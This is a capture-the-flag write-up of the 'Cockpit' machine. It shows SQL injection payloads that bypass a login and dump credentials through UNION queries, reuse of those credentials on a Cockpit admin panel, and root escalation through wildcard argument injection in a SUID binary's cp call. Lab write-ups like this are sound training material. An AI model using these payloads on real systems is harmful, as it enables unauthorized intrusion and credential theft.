Cockpit Writeup - Proving Grounds
Created October 6, 2026 • Last updated October 6, 2026 • 4 min read
In this guide we manually exploit a SQL injection in a login form to dump a set of credentials, then reuse them against the Cockpit admin panel on port 9090 to land a session as james. Write access to that user's filesystem lets us drop an SSH key for a stable shell. For root we analyze a custom SUID ELF, Authchecker, find a wildcard bug in its cp call, and copy a setuid bash into a protected directory.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: blaze |_http-server-header: Apache/2.4.41 (Ubuntu) 9090/tcp open ssl/zeus-admin? | ssl-cert: Subject: commonName=blaze |_ Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
SSH on 22, Apache on 80, and an SSL admin service on 9090. The 9090 certificate common name blaze and the zeus-admin fingerprint point to Cockpit, the Linux web admin panel. Port 80 serves a static landing page, so fuzz it for content.
Enumeration
Content discovery
Fuzz for PHP endpoints on port 80.
logout [Status: 302, Size: 0, Words: 1, Lines: 1] home [Status: 200, Size: 714, Words: 70, Lines: 36] login [Status: 200, Size: 769, Words: 69, Lines: 29] db_config [Status: 200, Size: 0, Words: 1, Lines: 1]
Explain command
| -w | Wordlist to fuzz with. |
| -u | Target URL with the FUZZ keyword marking the injection point. |
| --fc | Filter out responses with this status code. |
login.php is the way in. The page is a standard username and password form.
Exploitation
SQL injection
Entering the username admin'-- - comments out the password check and bypasses the login, landing on the admin dashboard. That confirms a SQL injection.
The login is injectable through the username parameter, so switch to a UNION-based dump with Burp Repeater. Start by finding the column count, then walk the schema.
-- 5 columns, reflect @@version
username=' union select 1,@@version,3,4,5-- -&password=dada
-- list databases
username=' union select 1,schema_name,3,4,5 from information_schema.schemata-- -&password=dada
-- tables in blazeDB
username=' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='blazeDB'-- -&password=dada
-- columns in users
username=' union select 1,column_name,3,4,5 from information_schema.columns where table_name='users'-- -&password=dada
-- dump credentials
username=' union select 1,group_concat(username,0x3a,password,0x3a,name),3,4,5 from users-- -&password=dada
The blazeDB database holds a users table with username, password, and name columns. The final query returns two accounts sharing one password.
- admin:
$ADMIN_PASSWORD - james:
$JAMES_PASSWORD
Cockpit foothold
SSH is configured for key authentication only, so the password is no use there. Reuse it against Cockpit on port 9090 instead, which accepts james and the recovered password and opens a session.
Cockpit includes a web terminal, giving a shell as james. Drop an SSH public key to get a stable session.
With the key in place, log in over SSH as james.
Privilege Escalation
List the sudo rights.
Matching Defaults entries for james on blaze:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User james may run the following commands on blaze:
(ALL) NOPASSWD: /usr/local/bin/Authchecker
james can run the custom ELF Authchecker as root. Copy it back and decompile it in Ghidra. A function named copy_keys runs cp with a wildcard, which is exploitable.
A wildcard in cp lets filenames double as arguments. Create a file named --preserve=mode alongside a setuid-marked bash, so cp preserves the setuid bit when it copies bash into the protected directory.
Dear employees, this is an authenticator for blaze login as root, please drop your public key under the current directory written to /etc/key_check/public_key, we will let you know soon your authentication status to blaze
Explain command
| chmod 4777 | Set the setuid bit on the copied bash. |
| touch -- --preserve=mode | Create a file whose name becomes a cp flag that preserves permission bits. |
Authchecker copies the current directory into /etc/key_check/ with a wildcard, and the --preserve=mode filename forces it to keep the setuid bit on bash.
bash-5.0# id uid=1000(james) gid=1000(james) euid=0(root) groups=1000(james)
Explain command
| -p | Keep the effective UID so the setuid root carries through. |
The preserved setuid bash runs as root, giving a root shell.
Related
References
-
PayloadsAllTheThingsREPO: PayloadsAllTheThings, github.com/swisskyrepo/PayloadsAllTheThings (opens in new tab)
Wildcard argument injection in archive and copy utilities.
-
The Linux web admin panel exposed on port 9090.